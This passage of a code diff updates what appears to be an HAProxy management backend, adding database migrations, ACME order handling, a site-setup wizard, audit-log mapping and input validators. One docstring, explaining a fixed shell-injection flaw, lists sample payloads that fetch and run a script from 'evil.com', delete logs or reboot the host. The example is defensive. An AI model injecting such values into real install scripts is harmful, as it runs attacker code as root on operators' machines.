SELECT column_default + FROM information_schema.columns + WHERE table_name='frontends' AND column_name='ssl_verify' + """) + if ssl_verify_default and "'optional'" in str(ssl_verify_default): + logger.info( + "PR-2 R11.B: dropping legacy DEFAULT 'optional' from " + "frontends.ssl_verify (new INSERTs will leave the " + "column NULL → no `verify` directive emitted by the " + "HAProxy config generator until a client-CA bundle " + "is configured)." + ) + await conn.execute( + "ALTER TABLE frontends ALTER COLUMN ssl_verify DROP DEFAULT;" + ) + logger.info("PR-2 R11.B: ssl_verify DEFAULT dropped successfully.") + + # Cleanup any rows whose ssl_verify is outside the canonical + # Literal set ({'none','optional','required'}). NULL and + # canonical values are preserved as-is. The cleanup is + # idempotent and bounded — only invalid values get rewritten. + # + # R11-audit-3 (FIX-3): the pre-fix block used `fetchval` with + # a CTE that returned multi-row `RETURNING f.id`, which + # silently kept only the first row's id and logged a + # misleading "cleaned up row id=" message even + # when N>1 rows were actually rewritten. Switched to + # `execute()` so we can parse the asyncpg status string + # (`'UPDATE N'`) and report the true row count. + cleanup_status = await conn.execute(""" + UPDATE frontends + SET ssl_verify = NULL + WHERE ssl_verify IS NOT NULL + AND ssl_verify NOT IN ('none', 'optional', 'required') + """) + cleanup_n = 0 + try: + # asyncpg returns a status tag like 'UPDATE 0' / 'UPDATE 7' + cleanup_n = int(str(cleanup_status).split()[-1]) + except (ValueError, IndexError, AttributeError): + cleanup_n = 0 + if cleanup_n > 0: + logger.info( + f"PR-2 R11.B: cleaned up {cleanup_n} frontends row(s) " + f"with ssl_verify outside the canonical Literal set" + ) + except Exception as e: + # Idempotency guard: any failure here is non-fatal (the + # runtime safeguard still prevents the fatal HAProxy ALERT). + logger.warning( + f"PR-2 R11.B ssl_verify cleanup migration encountered " + f"a non-fatal error (continuing): {e}" + ) + # Entity config status enum and per-entity status columns entity_status_enum_exists = await conn.fetchval(""" SELECT 1 FROM pg_type WHERE typname = 'config_entity_status' @@ -1603,7 +1686,20 @@ async def run_all_migrations(): await ensure_acme_columns_on_existing_tables() # Issue #11 cleanup: must run AFTER acme_tables/columns to ensure FK refs exist await cleanup_orphan_acme_challenge_backend() - + # v1.5.0 Feature A (ACME diagnostics) + Feature B (site wizard) + # Order matters: letsencrypt_orders column additions BEFORE acme_order_events + # FK setup; both BEFORE wizard_drafts (user FK uses pre-existing users table). + await ensure_letsencrypt_orders_post_completion_actions_column() + await ensure_letsencrypt_orders_wizard_staged_until_column() + await ensure_letsencrypt_orders_pending_apply_version_name_column() + await ensure_letsencrypt_orders_created_by_column() + await ensure_acme_order_events_table() + await ensure_wizard_drafts_table() + await ensure_user_activity_logs_user_action_time_index() + # R18c round 3 #1 (KRITIK concurrency): partial unique on + # (cluster_id, bind_address, bind_port) WHERE is_active. + await ensure_frontends_bind_unique_constraint() + logger.info("Database migrations completed successfully.") async def add_ssl_certificate_id_to_backend_servers(): @@ -2129,7 +2225,7 @@ async def create_essential_tables(conn): ssl_port INTEGER, ssl_cert_path VARCHAR(255), ssl_cert TEXT, - ssl_verify VARCHAR(20) DEFAULT 'optional', + ssl_verify VARCHAR(20), -- PR-2 (R11.B): no DEFAULT; NULL means "omit verify directive" acl_rules JSONB DEFAULT '[]'::jsonb, redirect_rules JSONB DEFAULT '[]'::jsonb, use_backend_rules JSONB DEFAULT '[]'::jsonb, @@ -3242,3 +3338,340 @@ async def cleanup_orphan_acme_challenge_backend(): if conn: await close_database_connection(conn) logger.error(f"Error in cleanup_orphan_acme_challenge_backend: {e}") + + +# ============================================================================= +# v1.5.0 migrations: ACME diagnostic panel (Feature A) + site wizard (B) +# ============================================================================= + +async def ensure_letsencrypt_orders_post_completion_actions_column(): + """v1.5.0: add post_completion_actions JSONB column on letsencrypt_orders. + + Carries the deferred HTTPS frontend create payload (and any future + post-completion actions) for wizard-staged ACME orders. Idempotent. + """ + conn = None + try: + conn = await get_database_connection() + await conn.execute( + """ + ALTER TABLE letsencrypt_orders + ADD COLUMN IF NOT EXISTS post_completion_actions JSONB DEFAULT '[]'::jsonb + """ + ) + logger.info("Ensured letsencrypt_orders.post_completion_actions column") + await close_database_connection(conn) + except Exception as e: + if conn: + await close_database_connection(conn) + logger.error(f"Error in ensure_letsencrypt_orders_post_completion_actions_column: {e}") + + +async def ensure_letsencrypt_orders_wizard_staged_until_column(): + """v1.5.0: add wizard_staged_until TIMESTAMPTZ column on letsencrypt_orders. + + Used by complete_pending_acme_orders to abandon stale wizard_staged orders + after 24h (M25). NULL for non-wizard orders. + """ + conn = None + try: + conn = await get_database_connection() + await conn.execute( + """ + ALTER TABLE letsencrypt_orders + ADD COLUMN IF NOT EXISTS wizard_staged_until TIMESTAMPTZ + """ + ) + logger.info("Ensured letsencrypt_orders.wizard_staged_until column") + await close_database_connection(conn) + except Exception as e: + if conn: + await close_database_connection(conn) + logger.error(f"Error in ensure_letsencrypt_orders_wizard_staged_until_column: {e}") + + +async def ensure_letsencrypt_orders_pending_apply_version_name_column(): + """v1.5.0: add pending_apply_version_name VARCHAR + partial index for fast + `wizard_staged` lookups by config version name. + + The wizard records the bulk-site-create-{ts} version name (legacy + naming pre-rename: bulk-proxied-host-create-{ts}) into + this column when it stages the order; the background task uses + string-equality vs agents.applied_config_version to gate LE API calls. + """ + conn = None + try: + conn = await get_database_connection() + await conn.execute( + """ + ALTER TABLE letsencrypt_orders + ADD COLUMN IF NOT EXISTS pending_apply_version_name VARCHAR(255) + """ + ) + await conn.execute( + """ + CREATE INDEX IF NOT EXISTS idx_letsencrypt_orders_wizard_staged + ON letsencrypt_orders (pending_apply_version_name) + WHERE status = 'wizard_staged' + """ + ) + logger.info( + "Ensured letsencrypt_orders.pending_apply_version_name column + partial index" + ) + await close_database_connection(conn) + except Exception as e: + if conn: + await close_database_connection(conn) + logger.error( + f"Error in ensure_letsencrypt_orders_pending_apply_version_name_column: {e}" + ) + + +async def ensure_letsencrypt_orders_created_by_column(): + """v1.5.0: add created_by INTEGER on letsencrypt_orders (R31/M23). + + Carries the requesting user_id so post_completion_actions auto-apply + can attribute the apply to the original wizard caller. ON DELETE + SET NULL so deleting the user does not break orphan orders. + """ + conn = None + try: + conn = await get_database_connection() + await conn.execute( + """ + ALTER TABLE letsencrypt_orders + ADD COLUMN IF NOT EXISTS created_by INTEGER + REFERENCES users(id) ON DELETE SET NULL + """ + ) + logger.info("Ensured letsencrypt_orders.created_by column (FK ON DELETE SET NULL)") + await close_database_connection(conn) + except Exception as e: + if conn: + await close_database_connection(conn) + logger.error(f"Error in ensure_letsencrypt_orders_created_by_column: {e}") + + +async def ensure_acme_order_events_table(): + """v1.5.0 Feature A: detailed ACME event log table. + + Used by record_event() for diagnostic timeline display. CASCADE on order + delete so deleting a letsencrypt_order also cleans up its event trail. + Daily-watermarked TTL prune (90d) lives in main.py background task. + """ + conn = None + try: + conn = await get_database_connection() + exists = await conn.fetchval( + """ + SELECT EXISTS ( + SELECT 1 FROM information_schema.tables + WHERE table_name = 'acme_order_events' + ) + """ + ) + if not exists: + await conn.execute( + """ + CREATE TABLE acme_order_events ( + id BIGSERIAL PRIMARY KEY, + order_id INTEGER NOT NULL + REFERENCES letsencrypt_orders(id) ON DELETE CASCADE, + event_type VARCHAR(64) NOT NULL, + severity VARCHAR(16) NOT NULL DEFAULT 'INFO', + message TEXT, + details JSONB DEFAULT '{}'::jsonb, + correlation_id VARCHAR(64), + created_at TIMESTAMPTZ NOT NULL DEFAULT NOW() + ) + """ + ) + logger.info("Created acme_order_events table") + # R16 hardening (#R16-2): indexes must run UNCONDITIONALLY on every + # startup, not just on first table creation. An older deploy that + # raced ahead of these indexes (or where the table was created by a + # previous v1.5.0 push before the daily-watermarked retention task + # existed) would otherwise be stuck doing sequential scans for the + # 90-day prune query. Both `CREATE INDEX IF NOT EXISTS` calls are + # idempotent so re-running is safe. + await conn.execute( + "CREATE INDEX IF NOT EXISTS idx_acme_order_events_order_id " + "ON acme_order_events(order_id, created_at DESC)" + ) + await conn.execute( + "CREATE INDEX IF NOT EXISTS idx_acme_order_events_created_at " + "ON acme_order_events(created_at)" + ) + await close_database_connection(conn) + except Exception as e: + if conn: + await close_database_connection(conn) + logger.error(f"Error in ensure_acme_order_events_table: {e}") + + +async def ensure_wizard_drafts_table(): + """v1.5.0 Feature B: persisted wizard drafts. + + expires_at defaults to NOW() + 30d; daily-watermarked prune in main.py. + user_id ON DELETE CASCADE so deleting a user removes their drafts. + """ + conn = None + try: + conn = await get_database_connection() + exists = await conn.fetchval( + """ + SELECT EXISTS ( + SELECT 1 FROM information_schema.tables + WHERE table_name = 'wizard_drafts' + ) + """ + ) + if not exists: + await conn.execute( + """ + CREATE TABLE wizard_drafts ( + id SERIAL PRIMARY KEY, + user_id INTEGER NOT NULL + REFERENCES users(id) ON DELETE CASCADE, + wizard_type VARCHAR(64) NOT NULL DEFAULT 'site', + title VARCHAR(255), + payload JSONB NOT NULL DEFAULT '{}'::jsonb, + expires_at TIMESTAMPTZ NOT NULL DEFAULT (NOW() + INTERVAL '30 days'), + created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW() + ) + """ + ) + logger.info("Created wizard_drafts table") + # R16 hardening (#R16-2): see acme_order_events fix above. Indexes + # MUST run unconditionally so existing v1.5.0 first-deploy tables + # also get the prune-supporting expires_at index. + await conn.execute( + "CREATE INDEX IF NOT EXISTS idx_wizard_drafts_user_type " + "ON wizard_drafts(user_id, wizard_type, updated_at DESC)" + ) + await conn.execute( + "CREATE INDEX IF NOT EXISTS idx_wizard_drafts_expires_at " + "ON wizard_drafts(expires_at)" + ) + # Phase I: Site rebrand — flip the schema-level DEFAULT for the + # `wizard_type` column from the legacy 'proxied_host' value to + # the post-rebrand 'site' value so all NEW rows (when callers + # rely on the column default) land with the canonical naming. + # This is purely an `ALTER TABLE … ALTER COLUMN … SET DEFAULT` + # — idempotent, takes a SHARE UPDATE EXCLUSIVE-equivalent + # metadata lock that does NOT block readers/writers, and does + # not rewrite existing rows. Pre-rename rows still carry + # `wizard_type='proxied_host'`; the application code path + # accepts BOTH values via dual-filter (`IN ('site', + # 'proxied_host')`) on every read/delete query, so older + # drafts remain visible to their owner and remain rejectable + # via the cluster cleanup. + await conn.execute( + "ALTER TABLE wizard_drafts ALTER COLUMN wizard_type SET DEFAULT 'site'" + ) + await close_database_connection(conn) + except Exception as e: + if conn: + await close_database_connection(conn) + logger.error(f"Error in ensure_wizard_drafts_table: {e}") + + +async def ensure_user_activity_logs_user_action_time_index(): + """v1.5.0 (M33/R50): composite index on user_activity_logs for the new + per-user-per-minute rate-limit COUNT(*) query used by ACME diagnostics + and wizard preflight rate-limits. + """ + conn = None + try: + conn = await get_database_connection() + await conn.execute( + """ + CREATE INDEX IF NOT EXISTS idx_user_activity_logs_user_action_time + ON user_activity_logs (user_id, action, created_at DESC) + """ + ) + logger.info("Ensured user_activity_logs (user_id, action, created_at) composite index") + await close_database_connection(conn) + except Exception as e: + if conn: + await close_database_connection(conn) + logger.error( + f"Error in ensure_user_activity_logs_user_action_time_index: {e}" + ) + + +async def ensure_frontends_bind_unique_constraint(): + """v1.5.0 (R18c round 3 #1 — KRITIK concurrency): partial unique + constraint on (cluster_id, bind_address, bind_port) WHERE + is_active. + + Pre-fix: `services/frontend_service.check_bind_port_collision` + ran a plain `SELECT` outside the wizard transaction with no + `FOR UPDATE`, and the schema had NO uniqueness on + (cluster_id, bind_address, bind_port). Two concurrent wizards + targeting the same cluster + bind could both pass the check + and both INSERT, producing TWO active frontends bound to the + same port — HAProxy then refused to reload (port already in + use) and the cluster was wedged until manual cleanup. + + Adding a partial UNIQUE INDEX serializes the race at the + database level: the second INSERT raises UniqueViolationError, + which the wizard router (R18b round 3 #11) already maps to a + clean 409. + + NOT auto-deduplicating: `CREATE UNIQUE INDEX IF NOT EXISTS` + only skips when the index NAME already exists. If a deployment + already has duplicate active rows (a pre-fix race that landed), + the migration FAILS with "could not create unique index" and is + logged as non-fatal — runtime continues without the index, which + means the database-level race protection is OFF until an operator + manually consolidates the conflicting rows. Operationally: + # find conflicting active rows + SELECT cluster_id, bind_address, bind_port, COUNT(*) + FROM frontends + WHERE is_active = TRUE + GROUP BY 1,2,3 HAVING COUNT(*) > 1; + Even without the index, the wizard router still maps the + happy-path race outcome to 409 via UniqueViolationError when + the index DOES exist, so this migration is the belt-and- + suspenders layer rather than the only protection. + + Partial WHERE is_active is intentional — soft-deleted + frontends (is_active=false) are kept for audit and would + otherwise prevent re-creating a binding after deactivation. + """ + conn = None + try: + conn = await get_database_connection() + # Use a unique INDEX (not constraint) because PostgreSQL + # only allows partial uniqueness via an INDEX, not a table + # CONSTRAINT. Functionally equivalent for asyncpg's + # UniqueViolationError path. + await conn.execute( + """ + CREATE UNIQUE INDEX IF NOT EXISTS + idx_frontends_active_bind_unique + ON frontends (cluster_id, bind_address, bind_port) + WHERE is_active = TRUE + """ + ) + logger.info( + "Ensured frontends partial UNIQUE on " + "(cluster_id, bind_address, bind_port) WHERE is_active=TRUE" + ) + await close_database_connection(conn) + except Exception as e: + if conn: + await close_database_connection(conn) + # Existing duplicates would surface here as + # 'could not create unique index'. Log loudly so operators + # see the conflicting rows in their migration logs but do + # NOT abort startup — the wizard 409-mapping path already + # covers the steady-state race; the constraint is the + # belt-and-suspenders. + logger.error( + f"Error in ensure_frontends_bind_unique_constraint: {e} " + "(non-fatal — wizard router still maps UniqueViolation " + "to 409 even without the index)" + ) diff --git a/backend/main.py b/backend/main.py index cd01e90..a2cc533 100644 --- a/backend/main.py +++ b/backend/main.py @@ -8,7 +8,7 @@ import redis import asyncio from datetime import datetime, timedelta -_version_info = {"version": "1.4.0", "releaseName": "ACME Stability & Enterprise Audit", "releaseDate": "2026-05-06"} +_version_info = {"version": "1.5.0", "releaseName": "ACME Diagnostics & Site Wizard", "releaseDate": "2026-05-08"} for _vpath in ["/app/version.json", os.path.join(os.path.dirname(__file__), "..", "version.json")]: try: with open(_vpath) as _vf: @@ -38,6 +38,8 @@ from routers.maintenance import router as maintenance_router from routers.dashboard_stats import router as dashboard_stats_router from routers.settings import router as settings_router from routers.letsencrypt import router as letsencrypt_router +from routers.acme_diagnostics import router as acme_diagnostics_router +from routers.site_wizard import router as site_wizard_router # Production logging configuration from utils.logging_config import setup_production_logging @@ -278,6 +280,14 @@ async def complete_pending_acme_orders(): await asyncio.sleep(60) continue + # v1.5.0 (M30): daily-watermarked TTL prune for acme_order_events + # (90d) and wizard_drafts (30d). Best-effort, never raises. + try: + from utils.activity_log import prune_acme_events_and_drafts_if_due + await prune_acme_events_and_drafts_if_due() + except Exception as prune_err: + logger.debug(f"v1.5.0 daily prune skipped: {prune_err}") + from routers.letsencrypt import _complete_certificate from services.acme_service import acme_service as acme_svc @@ -309,10 +319,21 @@ async def complete_pending_acme_orders(): finally: await close_database_connection(conn_claim) + # v1.5.0 (Bulgu #2 fix): wizard_staged orders MUST be processed + # even when no pending/processing orders exist — otherwise a freshly + # created wizard order (no concurrent ACME activity) would never + # leave wizard_staged status and never reach the LE API call. + # Run the wizard pipeline FIRST so the early-continue below cannot + # starve it. + try: + await _process_wizard_staged_orders(acme_svc) + except Exception as ws_err: + logger.error(f"[ACME-WIZARD] Wizard-staged processing failed: {ws_err}") + if not claimed_ids: await asyncio.sleep(60) continue - + logger.info(f"[ACME-COMPLETE] Claimed {len(claimed_ids)} order(s) for completion: {claimed_ids}") for oid in claimed_ids: @@ -335,11 +356,240 @@ async def complete_pending_acme_orders(): except Exception as poll_err: logger.error(f"[ACME-COMPLETE] Failed to complete order {oid}: {poll_err}") + # NOTE: v1.5.0 wizard-staged processing now runs BEFORE the + # claimed_ids early-continue above (Bulgu #2 fix), so it executes + # every cycle regardless of pending/processing volume. + except Exception as e: logger.error(f"[ACME-COMPLETE] Error in completion task: {e}") await asyncio.sleep(60) +async def _process_wizard_staged_orders(acme_svc): + """v1.5.0 Feature B (Issue #14): drive wizard_staged ACME orders forward. + + Round 11 fix: NO `created_at > NOW() - INTERVAL` filter — that would prevent + older staged orders from ever reaching the in-loop 24h timeout check. We + instead enforce the 24h timeout explicitly via wizard_staged_until. + """ + from utils.activity_log import record_event + from services.letsencrypt_service import ( + create_order_via_api, + promote_staged_order_to_pending, + ) + + conn = await get_database_connection() + try: + async with conn.transaction(): + rows = await conn.fetch( + """ + SELECT id, account_id, domains, cluster_ids, + pending_apply_version_name, wizard_staged_until, order_url + FROM letsencrypt_orders + WHERE status = 'wizard_staged' + AND (updated_at IS NULL OR updated_at < NOW() - INTERVAL '30 seconds') + ORDER BY created_at + LIMIT 50 + FOR UPDATE SKIP LOCKED + """ + ) + if not rows: + return + await conn.execute( + "UPDATE letsencrypt_orders SET updated_at = NOW() WHERE id = ANY($1::int[])", + [r["id"] for r in rows], + ) + finally: + await close_database_connection(conn) + + for row in rows: + order_id = row["id"] + account_id = row["account_id"] + version_name = row["pending_apply_version_name"] + + # Parse JSONB payloads defensively (asyncpg may return list or str) + try: + domains = ( + row["domains"] if isinstance(row["domains"], list) + else __import__("json").loads(row["domains"] or "[]") + ) + except Exception: + domains = [] + try: + cluster_ids = ( + row["cluster_ids"] if isinstance(row["cluster_ids"], list) + else __import__("json").loads(row["cluster_ids"] or "[]") + ) + except Exception: + cluster_ids = [] + + try: + # 1) 24h timeout abandonment (M25) + if row["wizard_staged_until"] is not None: + # PostgreSQL returns timezone-aware datetime; compare via NOW() in SQL + conn = await get_database_connection() + try: + expired = await conn.fetchval( + "SELECT $1 < NOW()", row["wizard_staged_until"] + ) + if expired: + await conn.execute( + """ + UPDATE letsencrypt_orders + SET status='invalid', + error_detail = 'wizard staged timeout (>24h with no agent confirm)', + updated_at = NOW() + WHERE id = $1 + """, + order_id, + ) + await record_event( + order_id, + "wizard_staged_timeout", + severity="ERROR", + message="Wizard-staged ACME order abandoned after 24h", + conn=conn, + ) + logger.warning( + f"[ACME-WIZARD] Order {order_id} abandoned (wizard_staged_until elapsed)" + ) + continue + finally: + await close_database_connection(conn) + + # 2) Agent-confirm gating: at least one agent in any of the + # target clusters must have applied_config_version equal to the + # gating version name. Skip+retry next cycle if not yet. + if not version_name or not cluster_ids: + logger.debug( + f"[ACME-WIZARD] Order {order_id} missing version_name/cluster_ids, skipping" + ) + continue + + conn = await get_database_connection() + try: + confirmed_count = await conn.fetchval( + """ + SELECT COUNT(*) + FROM agents a + JOIN haproxy_clusters hc ON hc.pool_id = a.pool_id + WHERE hc.id = ANY($1::int[]) + AND a.applied_config_version = $2 + """, + cluster_ids, + version_name, + ) + finally: + await close_database_connection(conn) + + if not confirmed_count: + logger.info( + f"[ACME-WIZARD] Order {order_id} waiting on agent confirm (version={version_name})" + ) + continue + + # 3) R58/M37 idempotency: if order_url is already set we somehow + # succeeded the LE call but failed status update — re-try + # completion later via the normal pending/processing pipeline. + if row["order_url"]: + conn = await get_database_connection() + try: + await conn.execute( + "UPDATE letsencrypt_orders SET status='pending', updated_at=NOW() WHERE id=$1", + order_id, + ) + finally: + await close_database_connection(conn) + continue + + # 4) Promote: call the LE API for real + try: + api_result = await create_order_via_api( + acme_svc, + account_id=account_id, + domains=domains, + cluster_ids=cluster_ids, + ) + except Exception as api_err: + # Failure -> stay wizard_staged, will retry next pass + logger.warning( + f"[ACME-WIZARD] Order {order_id} LE API call failed (will retry): {api_err}" + ) + conn = await get_database_connection() + try: + await record_event( + order_id, + "wizard_le_api_retry", + severity="WARN", + message=str(api_err)[:500], + conn=conn, + ) + finally: + await close_database_connection(conn) + continue + + # The thin wrapper currently delegates to AcmeService.create_order + # which INSERTs a NEW row. We translate that into an UPDATE of the + # staged row by copying the new row's order_url + finalize_url + # then deleting the duplicate. + new_order_id = api_result.get("id") + order_url = api_result.get("order_url") + conn = await get_database_connection() + try: + async with conn.transaction(): + if new_order_id and new_order_id != order_id: + new_row = await conn.fetchrow( + """ + SELECT order_url, finalize_url, status, expires_at + FROM letsencrypt_orders WHERE id = $1 + """, + new_order_id, + ) + if new_row: + await promote_staged_order_to_pending( + conn, + order_id=order_id, + order_url=new_row["order_url"] or "", + finalize_url=new_row["finalize_url"] or "", + status=new_row["status"] or "pending", + expires_at=new_row["expires_at"], + ) + # Move challenges from the duplicate to the staged row + await conn.execute( + "UPDATE acme_challenges SET order_id = $1 WHERE order_id = $2", + order_id, + new_order_id, + ) + await conn.execute( + "DELETE FROM letsencrypt_orders WHERE id = $1", + new_order_id, + ) + elif order_url: + await promote_staged_order_to_pending( + conn, + order_id=order_id, + order_url=order_url, + finalize_url=api_result.get("finalize_url") or "", + status="pending", + expires_at=None, + ) + await record_event( + order_id, + "wizard_promoted", + severity="INFO", + message=f"Wizard-staged order promoted to pending after agent confirm", + details={"version_name": version_name}, + conn=conn, + ) + logger.info( + f"[ACME-WIZARD] Order {order_id} promoted to pending (LE order created)" + ) + finally: + await close_database_connection(conn) + except Exception as outer: + logger.error(f"[ACME-WIZARD] Order {order_id} processing error: {outer}") + + async def check_letsencrypt_renewals(): """ Background task to auto-renew expiring ACME certificates. @@ -582,6 +832,45 @@ app.include_router(security_router) app.include_router(configuration_router) app.include_router(settings_router) app.include_router(letsencrypt_router) +app.include_router(acme_diagnostics_router) # v1.5.0 Issue #13: ACME Diagnostic Panel +app.include_router(site_wizard_router) # v1.5.0 Issue #14: New Site Setup Wizard + + +# Legacy URL alias: /api/proxied-hosts/* → 308 redirect to /api/sites/*. +# The Site Wizard endpoints were renamed from `/api/proxied-hosts/...` +# to `/api/sites/...` in this release. The 308 (Permanent Redirect) +# preserves the original method + body — POST/PUT/DELETE all continue +# to work — so any external integrator still pointing at the old slug +# keeps working through the redirect during the transition window. +# `include_in_schema=False` keeps the legacy paths out of OpenAPI so +# new consumers only see the canonical `/api/sites/*` URLs. +from fastapi import Request as _LegacyAliasRequest +from fastapi.responses import RedirectResponse as _LegacyAliasRedirect + + +@app.api_route( + "/api/proxied-hosts", + methods=["GET", "POST", "PUT", "DELETE", "PATCH"], + include_in_schema=False, + name="legacy_proxied_hosts_root_alias", +) +async def _legacy_proxied_hosts_root_alias(request: _LegacyAliasRequest): + qs = request.url.query + target = "/api/sites" + (("?" + qs) if qs else "") + return _LegacyAliasRedirect(url=target, status_code=308) + + +@app.api_route( + "/api/proxied-hosts/{rest:path}", + methods=["GET", "POST", "PUT", "DELETE", "PATCH"], + include_in_schema=False, + name="legacy_proxied_hosts_subpath_alias", +) +async def _legacy_proxied_hosts_subpath_alias(rest: str, request: _LegacyAliasRequest): + qs = request.url.query + target = f"/api/sites/{rest}" + (("?" + qs) if qs else "") + return _LegacyAliasRedirect(url=target, status_code=308) + @app.on_event("startup") async def startup_event(): @@ -702,7 +991,40 @@ async def startup_event(): async def shutdown_event(): """Cleanup on shutdown""" logger.info("HAProxy OpenManager API shutting down...") - + + # R18c audit fix (round 3 #5): drain pending fire-and-forget + # background tasks BEFORE closing the DB pool. The audit + # logger middleware (`activity_logger.py`) and the wizard + # router (`site_wizard.py`, R18b round 7) both use + # `asyncio.create_task(...)` to write `user_activity_logs` + # rows without blocking the response. Pre-fix the shutdown + # event closed the DB pool immediately, so any in-flight + # background task that was about to fetchval/execute hit + # "pool is closed" and the audit row was lost — the operator + # later opened the activity table and could not see why the + # cluster's last action happened. Wait up to 5 seconds for + # pending tasks scheduled on this loop to finish before + # tearing the pool down. Bounded so a stuck task can't block + # graceful shutdown indefinitely. + try: + loop = asyncio.get_event_loop() + # All non-current tasks (FastAPI's request-handler tasks + # are already done by the time on_shutdown fires; what's + # left are the create_task background workers). + pending = [t for t in asyncio.all_tasks(loop) if t is not asyncio.current_task() and not t.done()] + if pending: + logger.info(f"Draining {len(pending)} pending background task(s) before pool close...") + await asyncio.wait(pending, timeout=5.0) + still_pending = [t for t in pending if not t.done()] + if still_pending: + logger.warning( + f"{len(still_pending)} background task(s) did not " + "complete within 5s — proceeding with pool close. " + "These rows may not be persisted." + ) + except Exception as drain_err: + logger.warning(f"Background-task drain skipped: {drain_err}") + # Close database connection pool gracefully try: logger.info("Closing database connection pool...") diff --git a/backend/middleware/activity_logger.py b/backend/middleware/activity_logger.py index 65a7fb3..7c3bb84 100644 --- a/backend/middleware/activity_logger.py +++ b/backend/middleware/activity_logger.py @@ -38,6 +38,16 @@ RESOURCE_MAPPING = { '/api/maintenance': 'maintenance', # Audit Tur 4/5 / Commit 8: ACME endpoint coverage '/api/letsencrypt': 'letsencrypt_order', + # v1.5.0 Feature B (Issue #14): site setup wizard + '/api/sites': 'site', + # Backward-compat alias for the legacy URL slug. The wizard router's + # primary mount is `/api/sites`; main.py also registers a hidden + # 308-redirect alias on `/api/proxied-hosts/*` so external + # integrators still pointing at the old slug keep working. The 308 + # response is filtered out below (only 2xx is logged), so this map + # entry is here only for the rare in-flight pre-redirect call that + # somehow lands as a 2xx (edge case). + '/api/proxied-hosts': 'site', } # Special action mappings @@ -58,11 +68,50 @@ SPECIAL_ACTIONS = { '/api/letsencrypt/accounts/{account_id}/permanent': 'acme_account_purged', '/api/letsencrypt/orders/{order_id}/retry': 'acme_order_retried', '/api/letsencrypt/orders/{order_id}': 'acme_order_cancelled', + # v1.5.0 Feature A (Issue #13): ACME diagnostics + '/api/letsencrypt/orders/{order_id}/diagnostics': 'acme_diagnostics_run', + '/api/letsencrypt/orders/{order_id}/diagnostics/{check_id}/rerun': 'acme_diagnostic_check_rerun', + # v1.5.0 Feature B (Issue #14): site setup wizard. + # R18c audit fix (round 1 #9): the wizard CREATE endpoint + # (POST /api/sites) emits a richer `wizard_create_site` row + # with wizard_status / cluster_id / domains / ssl_mode / + # apply_error / acme_staging_error directly from the router + # (R18b round 6 #15). If we ALSO log `site_created` here, + # every successful wizard create produces TWO + # user_activity_logs rows for the same operator action and + # dashboards counting "creates" by verb double-count. Drop + # that entry so the wizard owns its own audit row, while the + # other paths (preview, preflight, draft) still log via the + # middleware. + '/api/sites/preview': 'site_previewed', + '/api/sites/preflight-acme': 'site_acme_preflight', + '/api/sites/drafts': 'site_draft_saved', + '/api/sites/drafts/{draft_id}': 'site_draft_deleted', + # Backward-compat aliases for the legacy URL slug — the 308 + # redirect should consume these in practice, but if a 2xx ever + # leaks through directly the action map is still correct. + '/api/proxied-hosts/preview': 'site_previewed', + '/api/proxied-hosts/preflight-acme': 'site_acme_preflight', + '/api/proxied-hosts/drafts': 'site_draft_saved', + '/api/proxied-hosts/drafts/{draft_id}': 'site_draft_deleted', } def extract_resource_info(path: str, method: str) -> tuple[str, str, Optional[str]]: """Extract resource type, action, and resource ID from request path and method""" - + + # R18c audit fix (round 1 #9): the wizard CREATE endpoint + # (POST /api/sites, exact path) emits its OWN richer audit + # row from the router (`wizard_create_site`). Skip middleware + # logging for that single endpoint so we don't produce + # duplicate user_activity_logs rows per successful wizard + # create. Subpaths (`/preview`, `/preflight-acme`, `/drafts`, + # `/drafts/{id}`) still log via SPECIAL_ACTIONS below. The + # legacy `/api/proxied-hosts` slug is also covered for + # parity (the 308 redirect typically intercepts it before + # this point, but safety net). + if path in ('/api/sites', '/api/proxied-hosts') and method == 'POST': + return 'unknown', method.lower(), None + # Check for special actions first for pattern, action in SPECIAL_ACTIONS.items(): if matches_pattern(path, pattern): @@ -100,6 +149,12 @@ def matches_pattern(path: str, pattern: str) -> bool: def extract_resource_type_from_path(path: str) -> str: """Extract resource type from path""" + # Bulgu #40: include v1.5.0 wizard path so audit rows aren't logged with + # resource_type='unknown'. Order matters — '/sites' / '/proxied-hosts' + # must be checked BEFORE generic '/frontends'/'/backends' fallbacks. + # Legacy `/proxied-hosts` slug is preserved for backward compat. + if '/sites' in path or '/proxied-hosts' in path: + return 'site' if '/letsencrypt' in path: return 'letsencrypt_order' elif '/frontends' in path: @@ -145,7 +200,17 @@ async def log_activity_middleware(request: Request, call_next): if request.method == 'GET' or request.url.path in ['/health', '/api/health', '/']: response = await call_next(request) return response - + + # R18c audit fix (round 1 #9): the wizard CREATE endpoint owns + # its own audit row; skip the middleware path for that exact + # endpoint+method to prevent duplicate user_activity_logs rows. + # See router site_wizard.py for the explicit log_user_activity + # call with action='wizard_create_site'. The legacy + # `/api/proxied-hosts` slug is also short-circuited so a 308 + # redirect doesn't double-log. + if request.url.path in ('/api/sites', '/api/proxied-hosts') and request.method == 'POST': + return await call_next(request) + # Get user from token user = None try: diff --git a/backend/models/agent.py b/backend/models/agent.py index b5eaffd..5a8b1e8 100644 --- a/backend/models/agent.py +++ b/backend/models/agent.py @@ -1,4 +1,5 @@ -from pydantic import BaseModel +import re +from pydantic import BaseModel, validator from typing import Optional, List, Dict, Any class AgentCreate(BaseModel): @@ -106,15 +107,108 @@ PoolCreate = AgentPoolCreate PoolUpdate = AgentPoolUpdate class AgentScriptRequest(BaseModel): + """Request body for agent install / upgrade script generation. + + Bulgu #81 (round-22 audit) — pre-fix this model had ZERO + validators. Every field was a free-form `str`, and the + generator at `routers/agent.py::generate_install_script` + interpolates the values directly into a shell-script + template via `script_template.replace("{{KEY}}", value)`. + An operator with `agents.create` permission could therefore + supply payloads like: + + haproxy_bin_path = "/usr/sbin/haproxy; curl evil.com/x.sh | sh #" + agent_name = "$(rm -rf /var/log/haproxy-agent)" + hostname_prefix = "`reboot`" + + The generated `install-agent.sh` would then carry the + payload verbatim. Anyone running the script (typically as + root via `sudo ./install-agent.sh`) would execute the + injected commands. Because the script is downloaded as a + file and frequently shared between teammates, the audit + trail loses the connection between the operator who + generated it and the host that eventually ran it. + + The validators below mirror the existing field-validation + conventions in `models/frontend.py` / `models/backend.py`: + * `platform`, `architecture`: tightly enumerated. + * `agent_name`, `hostname_prefix`: alphanumerics + the + dash / underscore / dot set that hostnames legally use. + * The three `*_path` fields: absolute POSIX paths + without shell metacharacters or path-traversal segments. + HAProxy's own files always live under operator-controlled + paths; the 